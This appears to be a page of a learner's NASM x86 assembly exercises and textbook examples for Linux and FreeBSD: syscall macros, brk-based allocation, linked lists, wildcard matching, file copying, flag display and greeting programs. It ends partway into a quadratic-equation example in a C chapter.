%include "stud_io.inc"
global _start
section .text
_start: mov eax, 0
again: PRINT "Hello"
PUTCHAR 10
inc eax
cmp eax, 5
jl again
FINISH
02 (03-02)
brk-00.asmAssembly / 19 lines
global _start
section .text
_start:
mov eax, 45
xor ebx, ebx
int 0x80
mov esi, eax
add eax, 4096
mov ebx, eax
mov eax, 45
int 0x80
mov eax, 1
mov ebx, 0
int 0x80
brk-01.asmAssembly / 97 lines
%include "calls.inc"
%define NODE_VALUE 0
%define NODE_NEXT 4
%define NODE_SIZE 8
%define BUF_SIZE 8
global _start
extern sint2str ; sint2str.asm
section .bss
buf resb BUF_SIZE
section .data
newline db 10
space db 32
section .text
malloc:
; < (size) > (old address) : -1
pbegin 0, ebx, esi, edi
mov ebx, [ebp+8] ; size
scall 45, 0
cmp ecx, -1
je .failed
mov esi, eax
lea edi, [esi + ebx]
scall 45, edi
cmp ecx, -1
je .failed
cmp eax, edi
jne .failed
mov eax, esi
jmp .end
.failed:
mov eax, -1
.end:
pend ebx, esi, edi
push:
; < (value) > : -1
pbegin 0, ebx, esi
mov esi, [ebp+8] ; address of header
mov ebx, [ebp+12] ; value
pcall malloc, NODE_SIZE
cmp eax, -1
je .end
mov ecx, [esi]
mov [eax + NODE_VALUE], ebx
mov [eax + NODE_NEXT], ecx
mov [esi], eax
xor eax, eax
.end:
pend ebx, esi
print:
pbegin 0, ebx
mov ebx, [ebp+8]
.loop:
pcall sint2str, [ebx + NODE_VALUE], buf
scall 4, 1, buf, eax
scall 4, 1, space, 1
mov ebx, [ebx + NODE_NEXT]
cmp ebx, 0
jne .loop
pend ebx
_start:
sub esp, 4
mov dword [esp], 0
mov esi, esp
pcall push, esi, 1
pcall push, esi, 2
pcall push, esi, 3
pcall push, esi, 4
pcall print, [esi]
scall 4, 1, newline, 1
jmp .end
.failed:
scall 1, 1
.end:
scall 1, 0
brk-02.asmAssembly / 98 lines
%include "calls.inc"
%define NODE_VALUE 0
%define NODE_NEXT 4
%define NODE_SIZE 8
%define BUF_SIZE 8
global _start
extern sint2str ; sint2str.asm
section .bss
buf resb BUF_SIZE
head resd 1
section .data
newline db 10
space db 32
section .text
malloc:
; < (size) > (old address) : -1
pbegin 0, ebx, esi, edi
mov ebx, [ebp+8] ; size
scall 45, 0
cmp ecx, -1
je .failed
mov esi, eax
lea edi, [esi + ebx]
scall 45, edi
cmp ecx, -1
je .failed
cmp eax, edi
jne .failed
mov eax, esi
jmp .end
.failed:
mov eax, -1
.end:
pend ebx, esi, edi
push:
; < (value) > : -1
pbegin 0, ebx, esi
mov esi, [ebp+8] ; address of header
mov ebx, [ebp+12] ; value
pcall malloc, NODE_SIZE
cmp eax, -1
je .end
mov ecx, [esi]
mov [eax + NODE_VALUE], ebx
mov [eax + NODE_NEXT], ecx
mov [esi], eax
xor eax, eax
.end:
pend ebx, esi
print:
pbegin 0, ebx
mov ebx, [ebp+8]
.loop:
test ebx, ebx
je .end
pcall sint2str, [ebx + NODE_VALUE], buf
scall 4, 1, buf, eax
scall 4, 1, space, 1
mov ebx, [ebx + NODE_NEXT]
jmp .loop
.end:
pend ebx
_start:
pcall push, head, 1
pcall push, head, 2
pcall push, head, 3
pcall push, head, 4
pcall print, [esi]
scall 4, 1, newline, 1
jmp .end
.failed:
scall 1, 1
.end:
scall 1, 0
String data directive test
str_dd.asmAssembly / 20 lines
%include "stud_io.inc"
global _start
section .data
line dd 'a_there_c',0
section .text
_start:
mov ecx, 0
lp:
mov eax, [line+ecx]
PUTCHAR al
add ecx, 1
cmp al, 0
jne lp
end:
PUTCHAR 10
FINISH
05 (03-02)
lea.asmAssembly / 13 lines
global _start
section .text
_start:
mov ebx, 1
mov ecx, 2
lea eax, [1000+ebx+8*ecx]
mov eax, 1
mov ebx, 0
int 80h
11 (03-02)
loopne.asmAssembly / 13 lines
%include "stud_io.inc"
global _start
section .text
_start: mov ecx, 5
lp: PRINT "Hello"
PUTCHAR 10
cmp eax, eax
loopne lp
jnz end
PRINT "ZF"
PUTCHAR 10
end: FINISH
Book example: match.asm
match.asmAssembly / 132 lines
global _start
section .text
;
; [ebp+8] is pointer to string
; [ebp+12] is pointer to pattern
; returns eax==0 for false, eax==1 for true
;
match:
push ebp
mov ebp, esp
sub esp, 4 ; local I (index) is [ebp-4]
push esi ; we use esi, edi and eax,
push edi ; but eax is changed anyway
mov esi, [ebp+8] ; esi always points to the string
mov edi, [ebp+12] ; edi -------------------- pattern
.again:
cmp byte [edi], 0 ; pattern end?
jne .not_end
cmp byte [esi], 0 ; string end?
jne near .false ; out of range
jmp .true
.not_end:
cmp byte [edi], '*'
jne .not_star
; now the "star cycle" begins
mov dword [ebp-4], 0 ; I := 0
.star_loop:
; prepare the recursive call
mov eax, edi ; second arg of match is pattern+1
inc eax
push eax
mov eax, esi ; first arg of match is string+I
add eax, [ebp-4] ; prepare the recursive call
push eax
call match
add esp, 8 ; remove params from stack
test eax, eax ; what is returned, true or false?
jnz .true ; if 1, then match is found, return 1
add eax, [ebp-4]
cmp byte [esi+eax], 0 ; may be string ended?
je .false ; if so, no more possibilities to try
inc dword [ebp-4] ; I := I + 1
jmp .star_loop ; try the next possibility
.not_star:
mov al, [edi] ; we already know pattern isn't ended
cmp al, '?'
je .quest
cmp al, [esi] ; if the string's over, this cmp fails
jne .false ; as well as if the chars differ
jmp .go_on
.quest:
cmp byte [esi], 0 ; we only need to check for string end
jz .false
.go_on:
inc esi
inc edi
jmp .again
.true:
mov eax, 1
jmp .quit
.false:
xor eax, eax
.quit:
pop edi
pop esi
mov esp, ebp
pop ebp
ret
;
; MAIN PROGRAM
;
_start:
pop eax
cmp eax, 3
jne wrong_args
pop esi ; ignore argv[0]
pop esi ; get argv[1]
pop edi ; get argv[2]
mov [string], esi
mov [pattern], edi
push edi
push esi
call match
add esp, 8
test eax, eax
jz print_no
mov edx, 4 ; print yes
mov ecx, m_yes
mov ebx, 1
mov eax, 4
int 80h
jmp quit
print_no: ; print no
mov edx, 4
mov ecx, m_no
mov ebx, 1
mov eax, 4
int 80h
jmp quit
wrong_args: ; say wrong args
mov edx, m_wrong_len
mov ecx, m_wrong
mov ebx, 1
mov eax, 4
int 80h
jmp quit
quit:
mov ebx, 0
mov eax, 1
int 80h
section .bss
string resd 1
pattern resd 1
section .data
m_yes db "YES", 10
m_no db "NO ", 10
m_wrong db "wrong arguments count, must be 2", 10
m_wrong_len equ $-m_wrong
09 (03-03)
match.asmAssembly / 102 lines
%include "stud_io.inc"
global _start
section .data
string dd 'hello',0 ; double word because
pattern dd 'he*o',0 ; we are working with
; 4-byte stack
section .text
match:
push ebp
mov ebp, esp
sub esp, 4 ; local variable I
push edi ; save edi and esi
push esi
mov esi, [ebp+8] ; use esi for string
mov edi, [ebp+12] ; and edi for patter
.again:
cmp byte [edi], 0 ; empty pattern?
jne .non_end_pattern
cmp byte [esi], 0 ; only empty string
jne .false ; can match empty pattern
jmp .true
.non_end_pattern:
cmp byte [edi], '*'
jne .not_star
mov dword [ebp-4], 0 ; I=0
.star_loop:
mov eax, edi
inc eax ; substring after '*'
push eax ; use for recursive call
mov eax, esi
add eax, [ebp-4] ; esi+I
push eax
call match
add esp, 8
cmp eax, 1 ; substring matches
je .true ; so we are done
mov eax, esi ; string already empty?
add eax, [ebp-4]
cmp byte [eax], 0
je .false
inc dword [ebp-4] ; I=I+1
jmp .star_loop
.not_star:
cmp byte [esi], 0 ; is the string empty?
jne .not_end_string
jmp .false
.not_end_string:
mov al, [edi] ; '?' character in patter?
cmp al, '?'
je .next_char
cmp al, [esi] ; characters are the same?
jne .false
.next_char:
inc esi ; reduce substring
inc edi ; by a character and let's see
jmp .again ; if the next substring match
.true:
mov eax, 1
jmp .end
.false:
mov eax, 0
.end:
pop esi ; restore esi and edi
pop edi ; and edi in reverse order
mov esp, ebp
pop ebp
ret
_start:
push pattern ; argument 2
push string ; argument 1
call match
add esp, 8
cmp eax, 1 ; 1 means true
jne false
true:
PRINT 'yes'
jmp end
false:
PRINT 'no'
end:
PUTCHAR 10
FINISH
Book example: cmdl.asm
cmdl.asmAssembly / 76 lines
global _start
section .text
nlstr db 10, 0
strlen: ; arg1 == address of the string
push ebp
mov ebp, esp
xor eax, eax
mov ecx, [ebp+8] ; arg1
.lp: cmp byte [eax+ecx], 0
jz .quit
inc eax
jmp short .lp
.quit: pop ebp
ret
print_str: ; arg1 == address of the string
push ebp
mov ebp, esp
push ebx ; will be spoiled
mov ebx, [ebp+8] ; arg1
push ebx ; (and in ebx, as well)
call strlen
add esp, 4 ; the length is now in eax
%ifdef OS_FREEBSD
push eax ; length
push ebx ; arg1
push dword 1 ; stdout
mov eax, 4 ; write
push eax ; extra dword
int 80h
add esp, 16
%elifdef OS_LINUX
mov edx, eax ; edx now contains the length
mov ecx, ebx ; arg1; was stored in ebx
mov ebx, 1 ; stdout
mov eax, 4 ; write
int 80h
%else
%error please define either OS_FREEBSD or OS_LINUX
%endif
pop ebx
;mov esp, ebp
pop ebp
ret
_start:
mov ebx, [esp] ; argc
mov esi, esp
add esi, 4 ; argv
again: push dword [esi] ; argv[i]
call print_str
add esp, 4
push dword nlstr
call print_str
add esp, 4
add esi, 4
dec ebx
jnz again
%ifdef OS_FREEBSD
push dword 0 ; success
mov eax, 1 ; _exit
push eax ; extra dword
int 80h
%else
mov ebx, 0 ; success
mov eax, 1 ; _exit
int 80h
%endif
Book example: copy.asm
copy.asmAssembly / 154 lines
%macro kernel 1-*
%ifdef OS_FREEBSD
%rep %0
%rotate -1
push dword %1
%endrep
mov eax, [esp]
int 80h
jnc %%ok
mov ecx, eax
mov eax, -1
jmp short %%q
%%ok:
xor ecx, ecx
%%q:
add esp, %0 * 4
%elifdef OS_LINUX
%if %0 > 1
push ebx
%if %0 > 4
push esi
push edi
push ebp
%endif
%endif
%rep %0
%rotate -1
push dword %1
%endrep
pop eax
%if %0 > 1
pop ebx
%if %0 > 2
pop ecx
%if %0 > 3
pop edx
%if %0 > 4
pop esi
%if %0 > 5
pop edi
%if %0 > 6
pop ebp
%if %0 > 7
%error "Can't handle Linux syscalls for more than 6 params"
%endif
%endif
%endif
%endif
%endif
%endif
%endif
int 80h
mov ecx, eax
and ecx, 0fffff000h
cmp ecx, 0fffff000h
jne %%ok
mov ecx, eax
neg ecx
mov eax, -1
jmp short %%q
%%ok: xor ecx, ecx
%%q:
%if %0 > 1
%if %0 > 4
pop ebp
pop edi
pop esi
%endif
pop ebx
%endif
%else
%error Please define either OS_LINUX or OS_FREEBSD
%endif
%endmacro
%ifdef OS_FREEBSD
openwr_flags equ 601h
%else
openwr_flags equ 241h
%endif
section .bss
buffer resb 4096
bufsize equ $-buffer
argc resd 1
argvp resd 1
fdsrc resd 1
fddest resd 1
section .data
helpmsg db 'Usage: copy <src> <dest>', 10
helplen equ $-helpmsg
err1msg db "Couldn't open source file for reading", 10
err1len equ $-err1msg
err2msg db "Couldn't open destination file for writing", 10
err2len equ $-err2msg
section .text
global _start
_start:
pop dword [argc]
mov [argvp], esp
cmp dword [argc], 3
je .args_count_ok
kernel 4, 2, helpmsg, helplen
kernel 1, 1
.args_count_ok:
; open the source file
mov esi, [argvp]
mov edi, [esi+4]
kernel 5, edi, 0 ; O_RDONLY
cmp eax, -1
jne .source_open_ok
kernel 4, 2, err1msg, err1len
kernel 1, 2
.source_open_ok:
mov [fdsrc], eax
; now open the destination
mov esi, [argvp]
mov edi, [esi+8]
kernel 5, edi, openwr_flags, 0666o
cmp eax, -1
jne .dest_open_ok
kernel 4, 2, err2msg, err2len
kernel 1, 3
.dest_open_ok:
mov [fddest], eax
again:
kernel 3, [fdsrc], buffer, bufsize
cmp eax, 0
jle .end_of_file
kernel 4, [fddest], buffer, eax
jmp again
.end_of_file:
kernel 6, [fdsrc]
kernel 6, [fddest]
kernel 1, 0
Book example: asmcopy/
asmcopy/copy.asmAssembly / 43 lines
%include "kernel.inc"
global _start
extern transfer
extern msg_help
extern msg_errsrc
extern msg_errdst
extern message_and_quit
extern open_or_die
section .text
_start:
mov ebp, esp
cmp dword [ebp], 3
je .args_ok
mov eax, msg_help
jmp message_and_quit
.args_ok:
; open the source file
mov eax, [ebp+8]
mov ecx, 0 ; O_RDONLY
mov edx, msg_errsrc
call open_or_die
mov esi, eax
; now open the destination
mov eax, [ebp+12]
mov ecx, openwr_flags
mov edx, msg_errdst
call open_or_die
mov edi, eax
; transfer the content
push esi
push edi
call transfer
add esp, 8
; close both files
kernel 6, esi
kernel 6, edi
; quit
kernel 1, 0
asmcopy/kernel.incAssembly / 90 lines
%macro kernel 1-*
%ifdef OS_FREEBSD
%rep %0
%rotate -1
push dword %1
%endrep
mov eax, [esp]
int 80h
jnc %%ok
mov ecx, eax
mov eax, -1
jmp short %%q
%%ok:
xor ecx, ecx
%%q:
add esp, (%0-1)*4
%elifdef OS_LINUX
%if %0 > 1
push ebx
%if %0 > 4
push esi
push edi
push ebp
%endif
%endif
%rep %0
%rotate -1
push dword %1
%endrep
pop eax
%if %0 > 1
pop ebx
%if %0 > 2
pop ecx
%if %0 > 3
pop edx
%if %0 > 4
pop esi
%if %0 > 5
pop edi
%if %0 > 6
pop ebp
%if %0 > 7
%error "Can't handle Linux syscalls for more than 6 params"
%endif
%endif
%endif
%endif
%endif
%endif
%endif
int 80h
mov ecx, eax
and ecx, 0fffff000h
cmp ecx, 0fffff000h
jne %%ok
mov ecx, eax
neg ecx
mov eax, -1
jmp short %%q
%%ok: xor ecx, ecx
%%q:
%if %0 > 1
%if %0 > 4
pop ebp
pop edi
pop esi
%endif
pop ebx
%endif
%else
%error Please define either OS_LINUX or OS_FREEBSD
%endif
%endmacro
%ifdef OS_FREEBSD
openwr_flags equ 601h
%else
openwr_flags equ 241h
%endif
asmcopy/message.asmAssembly / 31 lines
%include "kernel.inc"
global msg_help
global msg_errsrc
global msg_errdst
global message_and_quit
section .data
helpmsg db 'Usage: copy <src> <dest>', 10
helplen equ $-helpmsg
err1msg db "Couldn't open source file for reading", 10
err1len equ $-err1msg
err2msg db "Couldn't open destination file for writing", 10
err2len equ $-err2msg
msg_array dd helpmsg, helplen, err1msg, err1len, err2msg, err2len
msg_help equ 0
msg_errsrc equ 1
msg_errdst equ 2
section .text
;; in: eax = message_id
message_and_quit:
mov ecx, [msg_array + eax*8]
mov edx, [msg_array + eax*8 + 4]
kernel 4, 1, ecx, edx
kernel 1, 1
asmcopy/openf.asmAssembly / 17 lines
%include "kernel.inc"
global open_or_die
extern message_and_quit
section .text
;; in: eax = file name ptr, ecx = mode, edx = message_id
;; out: eax = file descriptor
open_or_die: push edx
kernel 5, eax, ecx, 0666o
pop edx
cmp eax, -1
jne .open_ok
mov eax, edx
jmp message_and_quit
.open_ok: ret
asmcopy/transfer.asmAssembly / 24 lines
%include "kernel.inc"
global transfer
bufsize equ 1024
section .text
; [ebp+8] dest. fd; [ebp+12] src. fd; [ebp-bufsize] buffer
transfer: push ebp
mov ebp, esp
sub esp, bufsize
push ebx
mov ebx, ebp
sub ebx, bufsize ; buffer addr. in ebx
.again: kernel 3, [ebp+12], ebx, bufsize
cmp eax, 0
jle .quit
kernel 4, [ebp+8], ebx, eax
jmp .again
.quit: pop ebx
mov esp, ebp
pop ebp
ret
Book example: asmflags/
asmflags/MakefileMake / 17 lines
NASM = nasm
NASMFLAGS = -f elf -dOS_LINUX -g
SOURCES = flags.asm hex2num.asm strlen.asm putstr.asm quit.asm \
flagshow.asm num2hex.asm
OBJECTS = $(SOURCES:.asm=.o)
%.o: %.asm
$(NASM) $(NASMFLAGS) $< -o $@
prog: $(OBJECTS)
$(LD) -m elf_i386 $^ -o $@
clean:
rm -f $(OBJECTS) prog a.out core
asmflags/flags.asmAssembly / 81 lines
%include "kernel.inc"
global _start
extern quit
extern putstr
extern hex2num
extern num2hex
extern flagshow
section .text
_start: mov ebp, esp
cmp dword [ebp], 3
je .args_ok
mov eax, msg_help
jmp message_and_quit
.args_ok:
mov eax, [ebp+8]
push eax
call hex2num
add esp, 4
mov esi, eax
mov eax, [ebp+12]
push eax
call hex2num
add esp, 4
mov ecx, esi
mov ch, al ; now CX contains both bytes
mov esi, ecx ; we store them in ESI
mov eax, esi
call num2hex
push eax
call putstr
add esp, 4
push dword newln
call putstr
add esp, 4
%macro OP_AND_PRINT 2 ; %1 = message, %2 = add/sub
push dword %1
call putstr
add esp, 4
mov eax, esi
%2 al, ah
pushfd ;;; used later by flagshow
and eax, 0xff
call num2hex
push eax
call putstr
add esp, 4
push dword spc4
call putstr
add esp, 4
call flagshow
add esp, 4
%endmacro
OP_AND_PRINT msg_doingadd, add
OP_AND_PRINT msg_doingsub, sub
; quit
jmp quit
msg_help db 'Usage: flags <al> <ah> (both in hex)', 10, 0
msg_doingadd db 'doing ADD AL, AH: ', 0
msg_doingsub db 'doing SUB AL, AH: ', 0
newln db 10, 0
spc4 db " ", 0
;; in: eax = message_id
message_and_quit:
push eax
call putstr
jmp quit
asmflags/flagshow.asmAssembly / 50 lines
global flagshow
extern putstr
section .text
zfmsg db "ZF: ", 0
ofmsg db "OF: ", 0
cfmsg db "CF: ", 0
sfmsg db "SF: ", 0
flgset db "1 ", 0
flgunset db "0 ", 0
newline db 10,0
%macro PRFLAG 2 ; jnX, Xfmsg
push dword %2
call putstr
add esp, 4
push esi
popfd
%1 %%notset
push dword flgset
call putstr
add esp, 4
jmp %%done
%%notset: push dword flgunset
call putstr
add esp, 4
%%done: nop
%endmacro
flagshow: ; arg1 = the flags (pushed by pushf)
push ebp
mov ebp, esp
push esi
mov esi, [ebp+8]
PRFLAG jnz, zfmsg
PRFLAG jns, sfmsg
PRFLAG jno, ofmsg
PRFLAG jnc, cfmsg
push dword newline
call putstr
add esp, 4
pop esi
mov esp, ebp
pop ebp
ret
asmflags/getstr.asmAssembly / 28 lines
%include "kernel.inc"
global getstr
section .text
getstr: ; arg1 = address, arg2 = length
push ebp
mov ebp, esp
xor ecx, ecx ; counter
mov edx, [ebp+8] ; addr
.again: inc ecx
cmp ecx, [ebp+12] ; <?> arg2
jae .quit
push ecx
push edx
kernel 3, 0, edx, 1
pop edx
pop ecx
cmp eax, 1
jne .quit
mov al, [edx]
cmp al, 10 ; EOL
je .quit
inc edx
jmp .again
.quit: mov [edx], byte 0
mov esp, ebp
pop ebp
ret
asmflags/hex2num.asmAssembly / 41 lines
global hex2num
section .text
hex2num: ; arg1 == address of the string
; in case of error, ECX == 0x80..00, CF is set
push ebp
mov ebp, esp
xor eax, eax ; result accumulator
mov ecx, [ebp+8] ; arg1
.lp: mov dl, byte [ecx]
cmp dl, 0
jz .quit_ok
cmp dl, '0'
jl .notdig
cmp dl, '9'
jg .notdig
sub dl, '0' ; it's a digit '0'..'9'
jmp short .addit
.notdig: cmp dl, 'a'
jl .notlower
cmp dl, 'f'
jg .notlower
sub dl, 'a'-10 ; it's a lowercase 'a'..'f'
jmp short .addit
.notlower: cmp dl, 'A'
jl .errchar
cmp dl, 'F'
jg .errchar
sub dl, 'A'-10 ; it's an uppercase 'A'..'F'
.addit: shl eax, 4
and dl, 0fh
or al, dl
inc ecx
jmp short .lp
.errchar: mov eax, 080000000h ; let it be error value
stc
jmp .quit
.quit_ok: clc
.quit: mov esp, ebp
pop ebp
ret
asmflags/kernel.incAssembly / 90 lines
%macro kernel 1-*
%ifdef OS_FREEBSD
%rep %0
%rotate -1
push dword %1
%endrep
mov eax, [esp]
int 80h
jnc %%ok
mov ecx, eax
mov eax, -1
jmp short %%q
%%ok:
xor ecx, ecx
%%q:
add esp, (%0-1)*4
%elifdef OS_LINUX
%if %0 > 1
push ebx
%if %0 > 4
push esi
push edi
push ebp
%endif
%endif
%rep %0
%rotate -1
push dword %1
%endrep
pop eax
%if %0 > 1
pop ebx
%if %0 > 2
pop ecx
%if %0 > 3
pop edx
%if %0 > 4
pop esi
%if %0 > 5
pop edi
%if %0 > 6
pop ebp
%if %0 > 7
%error "Can't handle Linux syscalls for more than 6 params"
%endif
%endif
%endif
%endif
%endif
%endif
%endif
int 80h
mov ecx, eax
and ecx, 0fffff000h
cmp ecx, 0fffff000h
jne %%ok
mov ecx, eax
neg ecx
mov eax, -1
jmp short %%q
%%ok: xor ecx, ecx
%%q:
%if %0 > 1
%if %0 > 4
pop ebp
pop edi
pop esi
%endif
pop ebx
%endif
%else
%error Please define either OS_LINUX or OS_FREEBSD
%endif
%endmacro
%ifdef OS_FREEBSD
openwr_flags equ 601h
%else
openwr_flags equ 241h
%endif
asmflags/num2hex.asmAssembly / 44 lines
global num2hex
section .bss
buffer resb 16
buflen equ $-buffer
section .text
num2hex: ; in: eax = num
; out: eax = addr. of the string
push ebp
mov ebp, esp
push esi
lea esi, [buffer + buflen - 1]
mov byte [esi], 0
dec esi
cmp eax, 0
jnz .notzero
mov byte [esi], '0' ; zero from the start
jmp short .quit
.notzero:
.lp: mov cl, al
and cl, 0x0f
cmp cl, 9
jg .hexdig ; at least A
add cl, '0' ; arabic dig., turn into dig. code
jmp short .dig_done
.hexdig: add cl, 'A'-10 ; hex dig., turn info letter code
.dig_done: mov [esi], cl
shr eax, 4
cmp eax, 0
je .quit
dec esi
jmp short .lp
.quit: mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
asmflags/putstr.asmAssembly / 16 lines
%include "kernel.inc"
global putstr
extern strlen
section .text
putstr: ; arg1 = address of the string
push ebp
mov ebp, esp
push dword [ebp+8] ; arg1
call strlen
add esp, 4
kernel 4, 1, [ebp+8], eax
mov esp, ebp
pop ebp
ret
asmflags/quit.asmAssembly / 7 lines
%include "kernel.inc"
global quit
section .text
quit:
kernel 1, 0
asmflags/strlen.asmAssembly / 14 lines
global strlen
section .text
strlen: ; arg1 == address of the string
push ebp
mov ebp, esp
xor eax, eax
mov ecx, [ebp+8] ; arg1
.lp: cmp byte [eax+ecx], 0
jz .quit
inc eax
jmp short .lp
.quit: pop ebp
ret
Book example: asmgreet/
asmgreet/MakefileMake / 16 lines
NASM = nasm
NASMFLAGS = -f elf -dOS_LINUX -g
SOURCES = greet.asm strlen.asm getstr.asm putstr.asm quit.asm
OBJECTS = $(SOURCES:.asm=.o)
%.o: %.asm
$(NASM) $(NASMFLAGS) $< -o $@
prog: $(OBJECTS)
$(LD) -m elf_i386 $^ -o $@
clean:
rm -f $(OBJECTS) prog a.out core
asmgreet/getstr.asmAssembly / 28 lines
%include "kernel.inc"
global getstr
section .text
getstr: ; arg1 = address, arg2 = length
push ebp
mov ebp, esp
xor ecx, ecx ; counter
mov edx, [ebp+8] ; addr
.again: inc ecx
cmp ecx, [ebp+12] ; <?> arg2
jae .quit
push ecx
push edx
kernel 3, 0, edx, 1
pop edx
pop ecx
cmp eax, 1
jne .quit
mov al, [edx]
cmp al, 10 ; EOL
je .quit
inc edx
jmp .again
.quit: mov [edx], byte 0
mov esp, ebp
pop ebp
ret
asmgreet/greet.asmAssembly / 38 lines
global _start
extern putstr
extern getstr
extern quit
section .data
nmq db 'Hi, what is your name?', 10, 0
pmy db 'Pleased to meet you, dear ', 0
exc db '!', 10, 0
section .bss
buf resb 512
buflen equ $-buf
section .text
_start:
push dword nmq
call putstr
add esp, 4
push dword buflen
push dword buf
call getstr
add esp, 8
push dword pmy
call putstr
add esp, 4
push dword buf
call putstr
add esp, 4
push dword exc
call putstr
add esp, 4
call quit
asmgreet/kernel.incAssembly / 90 lines
%macro kernel 1-*
%ifdef OS_FREEBSD
%rep %0
%rotate -1
push dword %1
%endrep
mov eax, [esp]
int 80h
jnc %%ok
mov ecx, eax
mov eax, -1
jmp short %%q
%%ok:
xor ecx, ecx
%%q:
add esp, (%0-1)*4
%elifdef OS_LINUX
%if %0 > 1
push ebx
%if %0 > 4
push esi
push edi
push ebp
%endif
%endif
%rep %0
%rotate -1
push dword %1
%endrep
pop eax
%if %0 > 1
pop ebx
%if %0 > 2
pop ecx
%if %0 > 3
pop edx
%if %0 > 4
pop esi
%if %0 > 5
pop edi
%if %0 > 6
pop ebp
%if %0 > 7
%error "Can't handle Linux syscalls for more than 6 params"
%endif
%endif
%endif
%endif
%endif
%endif
%endif
int 80h
mov ecx, eax
and ecx, 0fffff000h
cmp ecx, 0fffff000h
jne %%ok
mov ecx, eax
neg ecx
mov eax, -1
jmp short %%q
%%ok: xor ecx, ecx
%%q:
%if %0 > 1
%if %0 > 4
pop ebp
pop edi
pop esi
%endif
pop ebx
%endif
%else
%error Please define either OS_LINUX or OS_FREEBSD
%endif
%endmacro
%ifdef OS_FREEBSD
openwr_flags equ 601h
%else
openwr_flags equ 241h
%endif
asmgreet/putstr.asmAssembly / 16 lines
%include "kernel.inc"
global putstr
extern strlen
section .text
putstr: ; arg1 = address of the string
push ebp
mov ebp, esp
push dword [ebp+8] ; arg1
call strlen
add esp, 4
kernel 4, 1, [ebp+8], eax
mov esp, ebp
pop ebp
ret
asmgreet/quit.asmAssembly / 7 lines
%include "kernel.inc"
global quit
section .text
quit:
kernel 1, 0
asmgreet/strlen.asmAssembly / 14 lines
global strlen
section .text
strlen: ; arg1 == address of the string
push ebp
mov ebp, esp
xor eax, eax
mov ecx, [ebp+8] ; arg1
.lp: cmp byte [eax+ecx], 0
jz .quit
inc eax
jmp short .lp
.quit: pop ebp
ret
02 (03-07)
getstr.asmAssembly / 32 lines
;; getstr.asm ;;
%include "kernel.inc"
global getstr
section .text
getstr: ; < (buffer address), (buffer length)
push ebp
mov ebp, esp
mov edx, [ebp+8]
xor ecx, ecx
.lp:
inc ecx
cmp ecx, [ebp+12]
jae .quit ; not enough buffer size
push ecx
push edx
kernel 3, 0, edx, 1 ; read one character
pop edx
pop ecx
cmp eax, 1 ; did we actually get
jne .quit ; 1 character?
mov al, [edx]
cmp al, 10 ; we don't need space
je .quit
inc edx ; next byte in the buffer
jmp .lp
.quit:
mov [edx], byte 0 ; add 0 at the end
mov esp, ebp
pop ebp
ret
greet.asmAssembly / 43 lines
;; greet.asm ;;
global _start
extern putstr
extern getstr
extern quit
section .data
what db "What is your name?",10,0
hello db "Hello ",0
end db ":)",10,0
section .bss
inp resb 256
inplen equ $-inp
section .text
_start:
push what
call putstr
add esp, 4
push inplen
push inp
call getstr
add esp, 8
push hello
call putstr
add esp, 4
push inp
call putstr
add esp, 4
push end
call putstr
add esp, 4
jmp .quit
.quit:
push dword 0
call quit
kernel.incAssembly / 39 lines
%macro kernel 1-*
%if %0 > 1
push ebx
%endif
%rep %0
%rotate -1
push dword %1
%endrep
pop eax
%if %0 > 1
pop ebx
%if %0 > 2
pop ecx
%if %0 > 3
pop edx
%if %0 > 4
%error "Can't do syscall with more than 4 parameters"
%endif
%endif
%endif
%endif
int 80h
mov ecx, eax
and ecx, 0xfffff000
cmp ecx, 0xfffff000
jne %%ok
mov ecx, eax
neg ecx
mov eax, -1
jmp short %%end
%%ok:
xor ecx, ecx
%%end:
%if %0 > 1
pop ebx
%endif
%endmacro
putstr.asmAssembly / 23 lines
;; putstr.asm ;;
%include "kernel.inc"
global putstr
extern strlen
section .text
putstr: ; < (string address)
push ebp
mov ebp, esp
push esi
mov esi, [ebp+8]
push esi
call strlen
add esp, 4
kernel 4, 1, esi, eax
pop esi
mov esp, ebp
pop ebp
ret
quit.asmAssembly / 6 lines
;; quit.asm ;;
%include "kernel.inc"
global quit
section .text
quit: kernel 1, 0
strlen.asmAssembly / 21 lines
;; strlen.asm ;;
global strlen
section .text
strlen: ; < (string address) > (string length)
push ebp
mov ebp, esp
mov eax, [ebp+8]
xor ecx, ecx
.lp:
cmp byte [eax+ecx], 0
je .quit
inc ecx
jmp short .lp
.quit:
mov eax, ecx
mov esp, ebp
pop ebp
ret
Float representation assembly comparison
test_float.cC / 20 lines
/*
gcc -S -std=c89 -m32 -masm=intel test_float.c -o test_float.s
with x as float:
fstp DWORD PTR [esp]
call test_float
add esp, 4
with x as double:
fstp QWORD PTR [esp]
call test_float
add esp, 8
*/
void test_float(double x) {
};
int main() {
test_float(3.14f);
return 0;
}
test_float.asmAssembly / 40 lines
%include "calls.inc"
%assign param_num 2
global _start
extern str2flt ; float.asm
extern flt2str ; float.asm
section .bss
num resd 1
buf resb 12
buf_len equ $-buf
section .data
newline db 10
err_param db "Usage: ./prog <number 1> <number 2>",10
err_param_len equ $-err_param
section .text
terminate:
.wrong_params:
scall 4, 2, err_param, err_param_len
scall 1, 1
_start:
pop ebx ; argc
mov esi, esp ; argv
cmp ebx, param_num
jb terminate.wrong_params
pcall str2flt, [esi+4]
fstp dword [num]
pcall flt2str, [num], buf, buf_len
scall 4, 1, buf, eax
scall 4, 1, newline, 1
.end: scall 1, 0
4. C Programming / 159 filesRead chapter
01 (04-02)
hello.asmAssembly / 17 lines
global _start
section .data
msg db "Hello world", 10
msg_len equ $-msg
section .text
_start:
mov eax, 4 ; write
mov ebx, 1 ; to standard output
mov ecx, msg ; our message
mov edx, msg_len ; with it's length
int 80h ; system call number in Linux
; (software interrupt)
mov eax, 1 ; _exit
mov ebx, 0 ; with success
int 80h ; same system call number
hello.cC / 7 lines
#include <stdio.h>
int main()
{
printf("Hello world!\n");
return 0;
}
hello.sAssembly / 20 lines
.file "hello.c"
.intel_syntax noprefix
.text
.section .rodata
.LC0:
.string "Hello world!"
.text
.globl main
.type main, @function
main:
push rbp
mov rbp, rsp
mov edi, OFFSET FLAT:.LC0
call puts
mov eax, 0
pop rbp
ret
.size main, .-main
.ident "GCC: (Debian 14.2.0-19) 14.2.0"
.section .note.GNU-stack,"",@progbits
Book example: qe.c
qe.cC / 29 lines
#include <stdio.h>
#include <math.h>
double discrim(double a, double b, double c)
{
return b*b - 4*a*c;
}
int main()
{
double p, q, r, d;
int n;
n = scanf("%lf %lf %lf", &p, &q, &r);
if(n != 3) {
printf("Error: wrong input.\n");
return 1;
}
if(p == 0) {
printf("Error: Not a quadratic equation!\n");
